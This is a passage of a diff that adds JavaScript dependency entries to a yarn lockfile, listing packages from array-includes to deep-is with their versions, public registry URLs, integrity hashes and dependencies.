+
+array-includes@^3.1.6, array-includes@^3.1.8:
+  version "3.1.8"
+  resolved "https://registry.yarnpkg.com/array-includes/-/array-includes-3.1.8.tgz#5e370cbe172fdd5dd6530c1d4aadda25281ba97d"
+  integrity sha512-itaWrbYbqpGXkGhZPGUulwnhVf5Hpy1xiCFsGqyIGglbBxmG5vSjxQen3/WGOjPpNEv1RtBLKxbmVXm8HpJStQ==
+  dependencies:
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.2"
+    es-object-atoms "^1.0.0"
+    get-intrinsic "^1.2.4"
+    is-string "^1.0.7"
+
+array.prototype.findlast@^1.2.5:
+  version "1.2.5"
+  resolved "https://registry.yarnpkg.com/array.prototype.findlast/-/array.prototype.findlast-1.2.5.tgz#3e4fbcb30a15a7f5bf64cf2faae22d139c2e4904"
+  integrity sha512-CVvd6FHg1Z3POpBLxO6E6zr+rSKEQ9L6rZHAaY7lLfhKsWYUBBOuMs0e9o24oopj6H+geRCX0YJ+TJLBK2eHyQ==
+  dependencies:
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.2"
+    es-errors "^1.3.0"
+    es-object-atoms "^1.0.0"
+    es-shim-unscopables "^1.0.2"
+
+array.prototype.findlastindex@^1.2.5:
+  version "1.2.5"
+  resolved "https://registry.yarnpkg.com/array.prototype.findlastindex/-/array.prototype.findlastindex-1.2.5.tgz#8c35a755c72908719453f87145ca011e39334d0d"
+  integrity sha512-zfETvRFA8o7EiNn++N5f/kaCw221hrpGsDmcpndVupkPzEc1Wuf3VgC0qby1BbHs7f5DVYjgtEU2LLh5bqeGfQ==
+  dependencies:
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.2"
+    es-errors "^1.3.0"
+    es-object-atoms "^1.0.0"
+    es-shim-unscopables "^1.0.2"
+
+array.prototype.flat@^1.3.1, array.prototype.flat@^1.3.2:
+  version "1.3.2"
+  resolved "https://registry.yarnpkg.com/array.prototype.flat/-/array.prototype.flat-1.3.2.tgz#1476217df8cff17d72ee8f3ba06738db5b387d18"
+  integrity sha512-djYB+Zx2vLewY8RWlNCUdHjDXs2XOgm602S9E7P/UpHgfeHL00cRiIF+IN/G/aUJ7kGPb6yO/ErDI5V2s8iycA==
+  dependencies:
+    call-bind "^1.0.2"
+    define-properties "^1.2.0"
+    es-abstract "^1.22.1"
+    es-shim-unscopables "^1.0.0"
+
+array.prototype.flatmap@^1.3.2:
+  version "1.3.2"
+  resolved "https://registry.yarnpkg.com/array.prototype.flatmap/-/array.prototype.flatmap-1.3.2.tgz#c9a7c6831db8e719d6ce639190146c24bbd3e527"
+  integrity sha512-Ewyx0c9PmpcsByhSW4r+9zDU7sGjFc86qf/kKtuSCRdhfbk0SNLLkaT5qvcHnRGgc5NP/ly/y+qkXkqONX54CQ==
+  dependencies:
+    call-bind "^1.0.2"
+    define-properties "^1.2.0"
+    es-abstract "^1.22.1"
+    es-shim-unscopables "^1.0.0"
+
+array.prototype.flatmap@^1.3.3:
+  version "1.3.3"
+  resolved "https://registry.yarnpkg.com/array.prototype.flatmap/-/array.prototype.flatmap-1.3.3.tgz#712cc792ae70370ae40586264629e33aab5dd38b"
+  integrity sha512-Y7Wt51eKJSyi80hFrJCePGGNo5ktJCslFuboqJsbf57CCPcm5zztluPlc4/aD8sWsKvlwatezpV4U1efk8kpjg==
+  dependencies:
+    call-bind "^1.0.8"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.5"
+    es-shim-unscopables "^1.0.2"
+
+array.prototype.tosorted@^1.1.4:
+  version "1.1.4"
+  resolved "https://registry.yarnpkg.com/array.prototype.tosorted/-/array.prototype.tosorted-1.1.4.tgz#fe954678ff53034e717ea3352a03f0b0b86f7ffc"
+  integrity sha512-p6Fx8B7b7ZhL/gmUsAy0D15WhvDccw3mnGNbZpi3pmeJdxtWsj2jEaI4Y6oo3XiHfzuSgPwKc04MYt6KgvC/wA==
+  dependencies:
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.3"
+    es-errors "^1.3.0"
+    es-shim-unscopables "^1.0.2"
+
+arraybuffer.prototype.slice@^1.0.3:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.3.tgz#097972f4255e41bc3425e37dc3f6421cf9aefde6"
+  integrity sha512-bMxMKAjg13EBSVscxTaYA4mRc5t1UAXa2kXiGTNfZ079HIWXEkKmkgFrh/nJqamaLSrXO5H4WFFkPEaLJWbs3A==
+  dependencies:
+    array-buffer-byte-length "^1.0.1"
+    call-bind "^1.0.5"
+    define-properties "^1.2.1"
+    es-abstract "^1.22.3"
+    es-errors "^1.2.1"
+    get-intrinsic "^1.2.3"
+    is-array-buffer "^3.0.4"
+    is-shared-array-buffer "^1.0.2"
+
+arraybuffer.prototype.slice@^1.0.4:
+  version "1.0.4"
+  resolved "https://registry.yarnpkg.com/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.4.tgz#9d760d84dbdd06d0cbf92c8849615a1a7ab3183c"
+  integrity sha512-BNoCY6SXXPQ7gF2opIP4GBE+Xw7U+pHMYKuzjgCN3GwiaIR09UUeKfheyIry77QtrCBlC0KK0q5/TER/tYh3PQ==
+  dependencies:
+    array-buffer-byte-length "^1.0.1"
+    call-bind "^1.0.8"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.5"
+    es-errors "^1.3.0"
+    get-intrinsic "^1.2.6"
+    is-array-buffer "^3.0.4"
+
+ast-types-flow@^0.0.8:
+  version "0.0.8"
+  resolved "https://registry.yarnpkg.com/ast-types-flow/-/ast-types-flow-0.0.8.tgz#0a85e1c92695769ac13a428bb653e7538bea27d6"
+  integrity sha512-OH/2E5Fg20h2aPrbe+QL8JZQFko0YZaF+j4mnQ7BGhfavO7OpSLa8a0y9sBwomHdSbkhTS8TQNayBfnW5DwbvQ==
+
+asynckit@^0.4.0:
+  version "0.4.0"
+  resolved "https://registry.yarnpkg.com/asynckit/-/asynckit-0.4.0.tgz#c79ed97f7f34cb8f2ba1bc9790bcc366474b4b79"
+  integrity sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==
+
+autoprefixer@^10.4.13:
+  version "10.4.20"
+  resolved "https://registry.yarnpkg.com/autoprefixer/-/autoprefixer-10.4.20.tgz#5caec14d43976ef42e32dcb4bd62878e96be5b3b"
+  integrity sha512-XY25y5xSv/wEoqzDyXXME4AFfkZI0P23z6Fs3YgymDnKJkCGOnkL0iTxCa85UTqaSgfcqyf3UA6+c7wUvx/16g==
+  dependencies:
+    browserslist "^4.23.3"
+    caniuse-lite "^1.0.30001646"
+    fraction.js "^4.3.7"
+    normalize-range "^0.1.2"
+    picocolors "^1.0.1"
+    postcss-value-parser "^4.2.0"
+
+available-typed-arrays@^1.0.7:
+  version "1.0.7"
+  resolved "https://registry.yarnpkg.com/available-typed-arrays/-/available-typed-arrays-1.0.7.tgz#a5cc375d6a03c2efc87a553f3e0b1522def14846"
+  integrity sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==
+  dependencies:
+    possible-typed-array-names "^1.0.0"
+
+axe-core@^4.10.0:
+  version "4.10.0"
+  resolved "https://registry.yarnpkg.com/axe-core/-/axe-core-4.10.0.tgz#d9e56ab0147278272739a000880196cdfe113b59"
+  integrity sha512-Mr2ZakwQ7XUAjp7pAwQWRhhK8mQQ6JAaNWSjmjxil0R8BPioMtQsTLOolGYkji1rcL++3dCqZA3zWqpT+9Ew6g==
+
+axios@^1.6.1:
+  version "1.7.7"
+  resolved "https://registry.yarnpkg.com/axios/-/axios-1.7.7.tgz#2f554296f9892a72ac8d8e4c5b79c14a91d0a47f"
+  integrity sha512-S4kL7XrjgBmvdGut0sN3yJxqYzrDOnivkBiN0OFs6hLiUam3UPvswUo0kqGyhqUZGEOytHyumEdXsAkgCOUf3Q==
+  dependencies:
+    follow-redirects "^1.15.6"
+    form-data "^4.0.0"
+    proxy-from-env "^1.1.0"
+
+axobject-query@^4.1.0:
+  version "4.1.0"
+  resolved "https://registry.yarnpkg.com/axobject-query/-/axobject-query-4.1.0.tgz#28768c76d0e3cff21bc62a9e2d0b6ac30042a1ee"
+  integrity sha512-qIj0G9wZbMGNLjLmg1PT6v2mE9AH2zlnADJD/2tC6E00hgmhUOfEB6greHPAfLRSufHqROIUTkw6E+M3lH0PTQ==
+
+balanced-match@^1.0.0:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/balanced-match/-/balanced-match-1.0.2.tgz#e83e3a7e3f300b34cb9d87f615fa0cbf357690ee"
+  integrity sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==
+
+big.js@^5.2.2:
+  version "5.2.2"
+  resolved "https://registry.yarnpkg.com/big.js/-/big.js-5.2.2.tgz#65f0af382f578bcdc742bd9c281e9cb2d7768328"
+  integrity sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==
+
+binary-extensions@^2.0.0:
+  version "2.3.0"
+  resolved "https://registry.yarnpkg.com/binary-extensions/-/binary-extensions-2.3.0.tgz#f6e14a97858d327252200242d4ccfe522c445522"
+  integrity sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==
+
+brace-expansion@^1.1.7:
+  version "1.1.11"
+  resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-1.1.11.tgz#3c7fcbf529d87226f3d2f52b966ff5271eb441dd"
+  integrity sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==
+  dependencies:
+    balanced-match "^1.0.0"
+    concat-map "0.0.1"
+
+brace-expansion@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-2.0.1.tgz#1edc459e0f0c548486ecf9fc99f2221364b9a0ae"
+  integrity sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==
+  dependencies:
+    balanced-match "^1.0.0"
+
+braces@^3.0.3, braces@~3.0.2:
+  version "3.0.3"
+  resolved "https://registry.yarnpkg.com/braces/-/braces-3.0.3.tgz#490332f40919452272d55a8480adc0c441358789"
+  integrity sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==
+  dependencies:
+    fill-range "^7.1.1"
+
+browserslist@^4.23.1, browserslist@^4.23.3:
+  version "4.24.0"
+  resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.24.0.tgz#a1325fe4bc80b64fda169629fc01b3d6cecd38d4"
+  integrity sha512-Rmb62sR1Zpjql25eSanFGEhAxcFwfA1K0GuQcLoaJBAcENegrQut3hYdhXFF1obQfiDyqIW/cLM5HSJ/9k884A==
+  dependencies:
+    caniuse-lite "^1.0.30001663"
+    electron-to-chromium "^1.5.28"
+    node-releases "^2.0.18"
+    update-browserslist-db "^1.1.0"
+
+call-bind-apply-helpers@^1.0.0, call-bind-apply-helpers@^1.0.1, call-bind-apply-helpers@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz#4b5428c222be985d79c3d82657479dbe0b59b2d6"
+  integrity sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==
+  dependencies:
+    es-errors "^1.3.0"
+    function-bind "^1.1.2"
+
+call-bind@^1.0.2, call-bind@^1.0.5, call-bind@^1.0.6, call-bind@^1.0.7:
+  version "1.0.7"
+  resolved "https://registry.yarnpkg.com/call-bind/-/call-bind-1.0.7.tgz#06016599c40c56498c18769d2730be242b6fa3b9"
+  integrity sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w==
+  dependencies:
+    es-define-property "^1.0.0"
+    es-errors "^1.3.0"
+    function-bind "^1.1.2"
+    get-intrinsic "^1.2.4"
+    set-function-length "^1.2.1"
+
+call-bind@^1.0.8:
+  version "1.0.8"
+  resolved "https://registry.yarnpkg.com/call-bind/-/call-bind-1.0.8.tgz#0736a9660f537e3388826f440d5ec45f744eaa4c"
+  integrity sha512-oKlSFMcMwpUg2ednkhQ454wfWiU/ul3CkJe/PEHcTKuiX6RpbehUiFMXu13HalGZxfUwCQzZG747YXBn1im9ww==
+  dependencies:
+    call-bind-apply-helpers "^1.0.0"
+    es-define-property "^1.0.0"
+    get-intrinsic "^1.2.4"
+    set-function-length "^1.2.2"
+
+call-bound@^1.0.2, call-bound@^1.0.3, call-bound@^1.0.4:
+  version "1.0.4"
+  resolved "https://registry.yarnpkg.com/call-bound/-/call-bound-1.0.4.tgz#238de935d2a2a692928c538c7ccfa91067fd062a"
+  integrity sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==
+  dependencies:
+    call-bind-apply-helpers "^1.0.2"
+    get-intrinsic "^1.3.0"
+
+callsites@^3.0.0:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/callsites/-/callsites-3.1.0.tgz#b3630abd8943432f54b3f0519238e33cd7df2f73"
+  integrity sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==
+
+camelcase-css@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/camelcase-css/-/camelcase-css-2.0.1.tgz#ee978f6947914cc30c6b44741b6ed1df7f043fd5"
+  integrity sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==
+
+caniuse-lite@^1.0.30001579, caniuse-lite@^1.0.30001646, caniuse-lite@^1.0.30001663:
+  version "1.0.30001715"
+  resolved "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001715.tgz"
+  integrity sha512-7ptkFGMm2OAOgvZpwgA4yjQ5SQbrNVGdRjzH0pBdy1Fasvcr+KAeECmbCAECzTuDuoX0FCY8KzUxjf9+9kfZEw==
+
+chalk@^2.4.2:
+  version "2.4.2"
+  resolved "https://registry.yarnpkg.com/chalk/-/chalk-2.4.2.tgz#cd42541677a54333cf541a49108c1432b44c9424"
+  integrity sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==
+  dependencies:
+    ansi-styles "^3.2.1"
+    escape-string-regexp "^1.0.5"
+    supports-color "^5.3.0"
+
+chalk@^4.0.0, chalk@^4.1.0:
+  version "4.1.2"
+  resolved "https://registry.yarnpkg.com/chalk/-/chalk-4.1.2.tgz#aac4e2b7734a740867aeb16bf02aad556a1e7a01"
+  integrity sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==
+  dependencies:
+    ansi-styles "^4.1.0"
+    supports-color "^7.1.0"
+
+chokidar@^3.5.3:
+  version "3.6.0"
+  resolved "https://registry.yarnpkg.com/chokidar/-/chokidar-3.6.0.tgz#197c6cc669ef2a8dc5e7b4d97ee4e092c3eb0d5b"
+  integrity sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==
+  dependencies:
+    anymatch "~3.1.2"
+    braces "~3.0.2"
+    glob-parent "~5.1.2"
+    is-binary-path "~2.1.0"
+    is-glob "~4.0.1"
+    normalize-path "~3.0.0"
+    readdirp "~3.6.0"
+  optionalDependencies:
+    fsevents "~2.3.2"
+
+client-only@0.0.1:
+  version "0.0.1"
+  resolved "https://registry.yarnpkg.com/client-only/-/client-only-0.0.1.tgz#38bba5d403c41ab150bff64a95c85013cf73bca1"
+  integrity sha512-IV3Ou0jSMzZrd3pZ48nLkT9DA7Ag1pnPzaiQhpW7c3RbcqqzvzzVu+L8gfqMp/8IM2MQtSiqaCxrrcfu8I8rMA==
+
+cliui@^8.0.1:
+  version "8.0.1"
+  resolved "https://registry.yarnpkg.com/cliui/-/cliui-8.0.1.tgz#0c04b075db02cbfe60dc8e6cf2f5486b1a3608aa"
+  integrity sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==
+  dependencies:
+    string-width "^4.2.0"
+    strip-ansi "^6.0.1"
+    wrap-ansi "^7.0.0"
+
+clsx@^1.1.0, clsx@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/clsx/-/clsx-1.2.1.tgz#0ddc4a20a549b59c93a4116bb26f5294ca17dc12"
+  integrity sha512-EcR6r5a8bj6pu3ycsa/E/cKVGuTgZJZdsyUYHOksG/UHIiKfjxzRxYJpyVBwYaQeOvghal9fcc4PidlgzugAQg==
+
+color-convert@^1.9.0:
+  version "1.9.3"
+  resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-1.9.3.tgz#bb71850690e1f136567de629d2d5471deda4c1e8"
+  integrity sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==
+  dependencies:
+    color-name "1.1.3"
+
+color-convert@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-2.0.1.tgz#72d3a68d598c9bdb3af2ad1e84f21d896abd4de3"
+  integrity sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==
+  dependencies:
+    color-name "~1.1.4"
+
+color-name@1.1.3:
+  version "1.1.3"
+  resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.3.tgz#a7d0558bd89c42f795dd42328f740831ca53bc25"
+  integrity sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==
+
+color-name@^1.0.0, color-name@~1.1.4:
+  version "1.1.4"
+  resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.4.tgz#c2a09a87acbde69543de6f63fa3995c826c536a2"
+  integrity sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==
+
+color-string@^1.9.0:
+  version "1.9.1"
+  resolved "https://registry.yarnpkg.com/color-string/-/color-string-1.9.1.tgz#4467f9146f036f855b764dfb5bf8582bf342c7a4"
+  integrity sha512-shrVawQFojnZv6xM40anx4CkoDP+fZsw/ZerEMsW/pyzsRbElpsL/DBVW7q3ExxwusdNXI3lXpuhEZkzs8p5Eg==
+  dependencies:
+    color-name "^1.0.0"
+    simple-swizzle "^0.2.2"
+
+color@^4.2.3:
+  version "4.2.3"
+  resolved "https://registry.yarnpkg.com/color/-/color-4.2.3.tgz#d781ecb5e57224ee43ea9627560107c0e0c6463a"
+  integrity sha512-1rXeuUUiGGrykh+CeBdu5Ie7OJwinCgQY0bc7GCRxy5xVHy+moaqkpL/jqQq0MtQOeYcrqEz4abc5f0KtU7W4A==
+  dependencies:
+    color-convert "^2.0.1"
+    color-string "^1.9.0"
+
+combined-stream@^1.0.8:
+  version "1.0.8"
+  resolved "https://registry.yarnpkg.com/combined-stream/-/combined-stream-1.0.8.tgz#c3d45a8b34fd730631a110a8a2520682b31d5a7f"
+  integrity sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==
+  dependencies:
+    delayed-stream "~1.0.0"
+
+commander@^4.0.0:
+  version "4.1.1"
+  resolved "https://registry.yarnpkg.com/commander/-/commander-4.1.1.tgz#9fd602bd936294e9e9ef46a3f4d6964044b18068"
+  integrity sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==
+
+concat-map@0.0.1:
+  version "0.0.1"
+  resolved "https://registry.yarnpkg.com/concat-map/-/concat-map-0.0.1.tgz#d8a96bd77fd68df7793a73036a3ba0d5405d477b"
+  integrity sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==
+
+concurrently@^7.4.0:
+  version "7.6.0"
+  resolved "https://registry.yarnpkg.com/concurrently/-/concurrently-7.6.0.tgz#531a6f5f30cf616f355a4afb8f8fcb2bba65a49a"
+  integrity sha512-BKtRgvcJGeZ4XttiDiNcFiRlxoAeZOseqUvyYRUp/Vtd+9p1ULmeoSqGsDA+2ivdeDFpqrJvGvmI+StKfKl5hw==
+  dependencies:
+    chalk "^4.1.0"
+    date-fns "^2.29.1"
+    lodash "^4.17.21"
+    rxjs "^7.0.0"
+    shell-quote "^1.7.3"
+    spawn-command "^0.0.2-1"
+    supports-color "^8.1.0"
+    tree-kill "^1.2.2"
+    yargs "^17.3.1"
+
+convert-source-map@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/convert-source-map/-/convert-source-map-2.0.0.tgz#4b560f649fc4e918dd0ab75cf4961e8bc882d82a"
+  integrity sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==
+
+cross-spawn@^7.0.0, cross-spawn@^7.0.2:
+  version "7.0.3"
+  resolved "https://registry.yarnpkg.com/cross-spawn/-/cross-spawn-7.0.3.tgz#f73a85b9d5d41d045551c177e2882d4ac85728a6"
+  integrity sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==
+  dependencies:
+    path-key "^3.1.0"
+    shebang-command "^2.0.0"
+    which "^2.0.1"
+
+cssesc@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/cssesc/-/cssesc-3.0.0.tgz#37741919903b868565e1c09ea747445cd18983ee"
+  integrity sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==
+
+csstype@^3.0.2:
+  version "3.1.3"
+  resolved "https://registry.yarnpkg.com/csstype/-/csstype-3.1.3.tgz#d80ff294d114fb0e6ac500fbf85b60137d7eff81"
+  integrity sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw==
+
+damerau-levenshtein@^1.0.8:
+  version "1.0.8"
+  resolved "https://registry.yarnpkg.com/damerau-levenshtein/-/damerau-levenshtein-1.0.8.tgz#b43d286ccbd36bc5b2f7ed41caf2d0aba1f8a6e7"
+  integrity sha512-sdQSFB7+llfUcQHUQO3+B8ERRj0Oa4w9POWMI/puGtuf7gFywGmkaLCElnudfTiKZV+NvHqL0ifzdrI8Ro7ESA==
+
+data-view-buffer@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/data-view-buffer/-/data-view-buffer-1.0.1.tgz#8ea6326efec17a2e42620696e671d7d5a8bc66b2"
+  integrity sha512-0lht7OugA5x3iJLOWFhWK/5ehONdprk0ISXqVFn/NFrDu+cuc8iADFrGQz5BnRK7LLU3JmkbXSxaqX+/mXYtUA==
+  dependencies:
+    call-bind "^1.0.6"
+    es-errors "^1.3.0"
+    is-data-view "^1.0.1"
+
+data-view-buffer@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/data-view-buffer/-/data-view-buffer-1.0.2.tgz#211a03ba95ecaf7798a8c7198d79536211f88570"
+  integrity sha512-EmKO5V3OLXh1rtK2wgXRansaK1/mtVdTUEiEI0W8RkvgT05kfxaH29PliLnpLP73yYO6142Q72QNa8Wx/A5CqQ==
+  dependencies:
+    call-bound "^1.0.3"
+    es-errors "^1.3.0"
+    is-data-view "^1.0.2"
+
+data-view-byte-length@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/data-view-byte-length/-/data-view-byte-length-1.0.1.tgz#90721ca95ff280677eb793749fce1011347669e2"
+  integrity sha512-4J7wRJD3ABAzr8wP+OcIcqq2dlUKp4DVflx++hs5h5ZKydWMI6/D/fAot+yh6g2tHh8fLFTvNOaVN357NvSrOQ==
+  dependencies:
+    call-bind "^1.0.7"
+    es-errors "^1.3.0"
+    is-data-view "^1.0.1"
+
+data-view-byte-length@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/data-view-byte-length/-/data-view-byte-length-1.0.2.tgz#9e80f7ca52453ce3e93d25a35318767ea7704735"
+  integrity sha512-tuhGbE6CfTM9+5ANGf+oQb72Ky/0+s3xKUpHvShfiz2RxMFgFPjsXuRLBVMtvMs15awe45SRb83D6wH4ew6wlQ==
+  dependencies:
+    call-bound "^1.0.3"
+    es-errors "^1.3.0"
+    is-data-view "^1.0.2"
+
+data-view-byte-offset@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/data-view-byte-offset/-/data-view-byte-offset-1.0.0.tgz#5e0bbfb4828ed2d1b9b400cd8a7d119bca0ff18a"
+  integrity sha512-t/Ygsytq+R995EJ5PZlD4Cu56sWa8InXySaViRzw9apusqsOO2bQP+SbYzAhR0pFKoB+43lYy8rWban9JSuXnA==
+  dependencies:
+    call-bind "^1.0.6"
+    es-errors "^1.3.0"
+    is-data-view "^1.0.1"
+
+data-view-byte-offset@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/data-view-byte-offset/-/data-view-byte-offset-1.0.1.tgz#068307f9b71ab76dbbe10291389e020856606191"
+  integrity sha512-BS8PfmtDGnrgYdOonGZQdLZslWIeCGFP9tpan0hi1Co2Zr2NKADsvGYA8XxuG/4UWgJ6Cjtv+YJnB6MM69QGlQ==
+  dependencies:
+    call-bound "^1.0.2"
+    es-errors "^1.3.0"
+    is-data-view "^1.0.1"
+
+date-fns@^2.29.1:
+  version "2.30.0"
+  resolved "https://registry.yarnpkg.com/date-fns/-/date-fns-2.30.0.tgz#f367e644839ff57894ec6ac480de40cae4b0f4d0"
+  integrity sha512-fnULvOpxnC5/Vg3NCiWelDsLiUc9bRwAPs/+LfTLNvetFCtCTN+yQz15C/fs4AwX1R9K5GLtLfn8QW+dWisaAw==
+  dependencies:
+    "@babel/runtime" "^7.21.0"
+
+debug@^3.2.7:
+  version "3.2.7"
+  resolved "https://registry.yarnpkg.com/debug/-/debug-3.2.7.tgz#72580b7e9145fb39b6676f9c5e5fb100b934179a"
+  integrity sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==
+  dependencies:
+    ms "^2.1.1"
+
+debug@^4.1.0, debug@^4.3.1, debug@^4.3.2, debug@^4.3.4, debug@^4.3.5:
+  version "4.3.7"
+  resolved "https://registry.yarnpkg.com/debug/-/debug-4.3.7.tgz#87945b4151a011d76d95a198d7111c865c360a52"
+  integrity sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==
+  dependencies:
+    ms "^2.1.3"
+
+deep-equal@^2.0.5:
+  version "2.2.3"
+  resolved "https://registry.yarnpkg.com/deep-equal/-/deep-equal-2.2.3.tgz#af89dafb23a396c7da3e862abc0be27cf51d56e1"
+  integrity sha512-ZIwpnevOurS8bpT4192sqAowWM76JDKSHYzMLty3BZGSswgq6pBaH3DhCSW5xVAZICZyKdOBPjwww5wfgT/6PA==
+  dependencies:
+    array-buffer-byte-length "^1.0.0"
+    call-bind "^1.0.5"
+    es-get-iterator "^1.1.3"
+    get-intrinsic "^1.2.2"
+    is-arguments "^1.1.1"
+    is-array-buffer "^3.0.2"
+    is-date-object "^1.0.5"
+    is-regex "^1.1.4"
+    is-shared-array-buffer "^1.0.2"
+    isarray "^2.0.5"
+    object-is "^1.1.5"
+    object-keys "^1.1.1"
+    object.assign "^4.1.4"
+    regexp.prototype.flags "^1.5.1"
+    side-channel "^1.0.4"
+    which-boxed-primitive "^1.0.2"
+    which-collection "^1.0.1"
+    which-typed-array "^1.1.13"
+
+deep-is@^0.1.3:
